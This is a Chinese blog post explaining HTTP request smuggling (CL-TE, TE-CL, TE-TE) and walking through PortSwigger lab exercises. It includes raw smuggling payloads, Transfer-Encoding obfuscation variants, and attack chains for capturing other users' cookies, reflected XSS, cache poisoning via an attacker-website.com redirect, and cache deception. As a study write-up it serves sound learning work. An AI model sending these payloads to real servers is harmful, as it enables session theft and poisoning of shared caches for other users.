返回

http request smuggle

Smuggle

简介

来源于2019的BlackHat的议题"HTTP Desync Attacks Smashing Into The Cell Next Door",直译过来就是"HTTP不同步攻击"。

产生原因

由于不同服务器对于RFC标准的实现都不完全相同,这样就会导致同一个HTTP请求,不同服务器的处理之后会出现不同的结果。

HTTP/1.1为了解决HTTP/1.0的非持久连接(一个连接一个请求一个响应连接断开)导致资源消耗,完善了Keep-AlivePipeline两个特性。

  • Keep-Alive 头部新增Connection: Keep-Alive,让服务器响应之后不要关闭当前的连接,这样就可以做到http连接重用,减少资源开销。1.0中默认不开启,1.1中默认开启。

  • Pipeline 在http连接复用的基础上,增加了管道化的技术Pipeline,可以在复用的连接中,同时发送多个请求,不用遵循请求1-响应1-请求2-响应2的限制,达到请求1-请求2-响应1-响应2的效果。但是现在的浏览器都不支持Pipeline原因有两个:容易出bug不规范代理使得问题更加复杂。这个问题在http2.0上用多路复用解决了。

在现在的网络环境中,存在大量的CDN加速服务用来缓解服务器的压力,还会提供了缓存功能,一般来说代理服务器会和后端建立长连接,对RFC标准的实现也可能不同,这样的话,如果发起一个异常的HTTP请求,代理服务器认为这是一个正常的HTTP请求,而后端认为其中已有一部分是正常的请求,导致剩下的内容就变成了走私请求。

正常情况

异常情况
关键的两个HTTP头Transfer-EncodingContent-Length,其中Transfer-Encoding: chunked是容易被利用的。

  • chunked

格式:

chunk-size1(十六进制)
chunk1 + \r\n
chunk-size2
chunk2 + \r\n
...
0 + \r\n\r\n

chunked一般常见在响应,其实在请求中也可以使用chunked编码的。

案例

CL指代Content-Length,TE指代Transfer-Encoding。 当2个请求头并存的时候,根据[RFC2616]((https://tools.ietf.org/html/rfc2616#section-4.4)规定,要忽略掉Content-Length。 主要是分为CL-TETE-CLTE-TE三种情况,都是Transfer-EncodingContent-Length并存的情况。

  • CL-TE

造成情况的主要原因就是前端(代理服务器)识别Content-Length,后端识别的是Transfer-Encoding。 Demo request:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

前端收到请求,识别Content-Length0+\r\n\r\n+SMUGGLED长度为13,所以直接把整个请求转发到了后端。 后端收到请求,识别Transfer-Encoding0+\r\n\r\n为一个chunked请求的结尾,SMUGGLED被剩下,变成了两个请求处理。SMUGGLED就会附加在之后的请求头最开始的部分。

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Portswigger lab:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

第一次请求被留下的G,附加在了第二次发起的POST请求的头部,构成了GPOST

  • TE-CL

造成情况的主要原因就是前端(代理服务器)识别Transfer-Encoding,后端识别的是Content-Length。 Demo request:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

前端收到请求,识别Transfer-Encoding,发现0+\r\n\r\n,把整个请求转法到了后端。 后端收到请求,识别Content-Length,把请求拆成了8+\r\nSMUGGLED+\r\n+0+\r\n\r\n

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

Portswigger lab:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

后端收到请求之后,把请求分为2个部分。14+\r\nGPOST / HTTP/1.1+\r\n\r\n(http请求结尾)+\r\n(chunked结尾)+0+\r\n\r\n

POST / HTTP/1.1
Host: ac951f371fb80e438070664400fd0027.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

14

GPOST / HTTP/1.1


0


  • TE-TE

造成情况的主要原因就是前端(代理服务器)和后端都识别Transfer-Encoding,但是Transfer-Encoding存在混淆的情况导致前端或者后端无法识别成功,这样就转换成了CL-TE或者TE-CL。 常见混淆:

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Portswigger lab:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header

前端识别第1个TE,后端识别第2个TE CL-TE

TE-CL

One’s Storm

其它案例

在上面提到的案例主要是用来验证存在http smuggle 在portswigger的lab中还给出了一些真实场景的利用案例,并且提供练习

  • Using HTTP request smuggling to bypass front-end security controls 走私访问网站后台的请求,获取一些功能的信息,进而达到未授权后台操作,例如账户删除 CL-TE TE-CL

  • Revealing front-end request rewriting 一般从前端把请求转发到后端,都会在请求中加入一些特有的验证字段,防止攻击者直接绕过前端把请求发到后端,Portswigger提供了一个很简单的获取验证字段方法:

找一个能够将请求参数的值输出到响应中的POST请求
把该POST请求中,找到的这个特殊的参数放在消息的最后面
然后走私这一个请求,然后直接发送一个普通的请求,前端服务器对这个请求重写的一些字段就会显示出来。

结合上面的特征,搜索框就是个很好的例子 PortSwigger lab:request rewriting

POST / HTTP/1.1
Host: acd81f561f515caa80fb0502008100f0.web-security-academy.net
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Length: 100
Host: acd81f561f515caa80fb0502008100f0.web-security-academy.net

search=123

其中第2个POST请求的Content-Length设置大一点,因为下一个请求会跟在search=123的后面,后端会根据CL的大小附加数据并且处理。

  • Capturing other users' requestsrequest rewriting中,通过在可回显处附加了我们自己的后续请求,而拿到了验证字段,试想如果后续跟着的是其它用户的请求呢?请求里面可能包含session会话,可以执行session hijack攻击,或者存在其它的敏感数据,可以通过在评论区、emails、简介说明等地方作为请求输出的媒介。 PortSwigger lab: capture other users requests 在这个实验中,文章的评论区就是可作为输出媒介。 Smuggle的时候,记得要把csrftokencookie带上,否则会失败。 还要接把评论内容的参数放在最后,这样才会把后续其它用户的请求显示出来。

    这里输出的请求是我自己发出的,按道理应该是其它用户的请求,可能是环境的问题,之前在做的时候是获取到了其它用户的cookie,这里就不深究了。Content-Lenght的大小需要自己慢慢调整大小用来输出cookie

  • Using HTTP request smuggling to exploit reflected XSS 还可以在特定的场景下造成对其它用户反射XSS的情况,还有无需交互、可以利用HTTP头字段XSS的特点。 PortSwigger lab:reflected XSS 在文章的源代码中有User-Agent的头信息,可以用来XSS。

  • ** turn an on-site redirect into an open redirect + perform web cache poisoning** 这里是一个组合利用,“开放重定向”+“web缓存投毒"来实现缓存投毒的攻击。

  1. 开放重定向 站点一般会根据请求中的Host作为重定向的地址,在后面在附加上路径,例如在Apache和IIS服务器,如果请求路径末尾缺少”/",就会发起一个重定向请求。

    GET /home HTTP/1.1
    Host: normal-website.com
    
    HTTP/1.1 301 Moved Permanently
    Location: https://normal-website.com/home/
    

这种看似无害的行为,如果使用smuggle的话,就会变得很危险。例如重定向到外部域中。 ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 54 Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```

如果后面有其它客户的请求,将会返回被攻击者控制的内容。 ``` GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
  1. web缓存投毒 如果前端设置了缓存内容,就可能被重定向后的响应内容投毒,这样其它用户访问被影响的地址话,就会被恶意攻击了。
    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 59
    Transfer-Encoding: chunked
    
    0
    
    GET /home HTTP/1.1
    Host: attacker-website.com
    Foo: XGET /static/include.js HTTP/1.1
    Host: vulnerable-website.com
    

像上面这个smuggle请求,到达后端处理时,会进行重定向到其它地址上的响应,之后前端对/static/include.js缓存就是该重定向响应。 ``` /static/include.js:

GET /static/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```

PortSwigger lab: open redirect+web cache poisoning 实验中提供了一个外部的服务用于构造重定向之后的恶意响应。

外部响应有了,接着就是寻找开放重定向了。一般在文章的尾部都会存在跳转到下一页的链接,这种地方就是一个很好的开放重定向的利用点。在外部站点中构造恶意响应。
寻找一个首页引用的js文件进行投毒。
实施投毒:
如果1次没有缓存成功,多尝试几次就会把/resources/js/tracking.js的缓存修改为alert(1)

  • Using HTTP request smuggling to perform web cache deception 缓存欺骗,实际上和缓存投毒使用的时相同的技术,只不过目的不同罢了。缓存投毒的目的主要是存储恶意内容,而缓存欺骗主要是为了获取其它用户的敏感信息。 通过smuggle敏感信息地址的请求,等待用户携带cookie等校验数据发起其它不相关资源请求,随后把敏感信息的内容缓存在不相干的资源地址。 例如:
    POST / HTTP/1.1
    Host: vulnerable-website.com
    Content-Length: 43
    Transfer-Encoding: chunked
    
    0
    
    GET /private/messages HTTP/1.1
    Foo: X
    
    GET /private/messages HTTP/1.1
    Foo: XGET /static/some-image.png HTTP/1.1
    Host: vulnerable-website.com
    Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
    ...
    

随后请求/static/some-image.png就可以获取敏感信息了。 PortSwigger lab:web cache deception 该实验提供一个账户carlos/montoya用来登陆。并且有一个查看Key的接口。

正常请求会返回未验证。接着构造apiKey的走私请求。缓存到resources/images/blog.svg中。环境不给力,其它用户始终没有发请求,这里使用自己的账号模仿下受害者的请求。

真实案例

paypal

其它

1、针对着中攻击的一般出现的场景就在有前端缓存的情况下,前端缓存包括浏览器缓存、路由器缓存、dns缓存、cdn缓存等 2、以后碰到了案例要记录一下,努力自己夜整个。

(ง •_•)ง 2019-11-03 22:42:41 星期日

Licensed under CC BY-NC-SA 4.0